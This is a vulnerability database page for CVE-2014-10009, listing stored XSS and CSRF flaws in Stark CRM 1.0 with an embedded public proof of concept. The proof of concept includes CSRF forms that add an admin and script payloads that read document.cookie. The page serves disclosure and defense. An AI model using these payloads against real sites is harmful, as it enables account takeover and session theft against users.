CVE-2014-10009
Description
Multiple cross-site scripting (XSS) vulnerabilities in Stark CRM 1.0 allow remote attackers to inject arbitrary web script or HTML via the (1) first_name, (2) last_name, or (3) notes parameter to the client page; (4) insu_name or (5) price parameter to the add_insurance_cat page; or (6) status[] parameter to the add_status page.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Stark CRM 1.0 - Multiple Vulnerabilities
Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities
Vendor: IWCn Systems Inc.
Product web page: http://www.iwcn.ws
Affected version: 1.0
Summary: This is a light weight CRM which simplifies process
of managing staff, client and projects.
Desc: Multiple stored XSS and CSRF vulnerabilities exist when
parsing user input to several POST parameters. The application
allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This
can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site and/or
execute arbitrary HTML and script code in a user's browser session.
Tested on: Nginx, PHP, MySQL
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5169
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php
03.02.2014
--
CSRF (Add Admin):
################
<html>
<!--
http://lab17.zeroscience.mk/testing/index.php?page=admin - Add Admin
http://lab17.zeroscience.mk/testing/index.php?page=agent - Add Agent
http://lab17.zeroscience.mk/testing/index.php?page=sub_agent - Add Sub-Agent
http://lab17.zeroscience.mk/testing/index.php?page=partner - Add Partner
http://lab17.zeroscience.mk/testing/index.php?page=client - Add Client
-->
<body>
<form action="http://lab17.zeroscience.mk/testing/index.php?page=admin" method="POST">
<input type="hidden" name="first_name" value="Admin101" />
<input type="hidden" name="last_name" value="Admin202" />
<input type="hidden" name="comp_name" value="Zero Science Lab" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="pwd" value="123456" />
<input type="hidden" name="phonep" value="(111) 111-1111" />
<input type="hidden" name="phoneg" value="(111) 111-1111" />
<input type="hidden" name="notes" value="Testing2 Address 101" />
<input type="hidden" name="zip" value="11111" />
<input type="hidden" name="ahv" value="11111" />
<input type="hidden" name="date" value="03.02.2014" />
<input type="hidden" name="gender" value="female" />
<input type="hidden" name="f_status" value="Married" />
<input type="hidden" name="detail" value="Testing3 personal detailz" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Stored XSS (parameter: name):
############################
POST /testing/index.php?page=add_ticket HTTP/1.1
Host: lab17.zeroscience.mk
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lab17.zeroscience.mk/testing/index.php?page=add_ticket
Cookie: PHPSESSID=51422dfc2ef2d3569e778d06d20c7a25
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------94321629522129
Content-Length: 592
-----------------------------94321629522129
Content-Disposition: form-data; name="name"
"><script>alert(1);</script>
-----------------------------94321629522129
Content-Disposition: form-data; name="project"
1
-----------------------------94321629522129
Content-Disposition: form-data; name="description"
ZSL
-----------------------------94321629522129
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------94321629522129
Content-Disposition: form-data; name="submit"
-----------------------------94321629522129--
Stored XSS (parameters: first_name, last_name, notes):
#####################################################
<html>
<body>
<form action="http://lab17.zeroscience.mk/testing/index.php?page=client" method="POST">
<input type="hidden" name="first_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="last_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="comp_name" value="Zero Science Lab" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="pwd" value="test" />
<input type="hidden" name="phonep" value="(111) 111-1111" />
<input type="hidden" name="phoneg" value="(111) 111-1111" />
<input type="hidden" name="notes" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="zip" value="00000" />
<input type="hidden" name="ahv" value="test2" />
<input type="hidden" name="date" value="03.02.2014" />
<input type="hidden" name="gender" value="male" />
<input type="hidden" name="f_status" value="Single" />
<input type="hidden" name="detail" value="test" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Stored XSS (parameters: insu_name, price):
#########################################
<html>
<body>
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_insurance_cat" method="POST">
<input type="hidden" name="insu_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="price" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Stored XSS (parameter: status[]):
################################
<html>
<body>
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_status" method="POST">
<input type="hidden" name="status[]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| iwcn | stark_crm | 1.0 | |
References
- http://secunia.com/advisories/57048
- http://www.zeroscience.mk/codes/starkcrm_mv.txt
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/91267
- http://secunia.com/advisories/57048
- http://www.zeroscience.mk/codes/starkcrm_mv.txt
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/91267
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.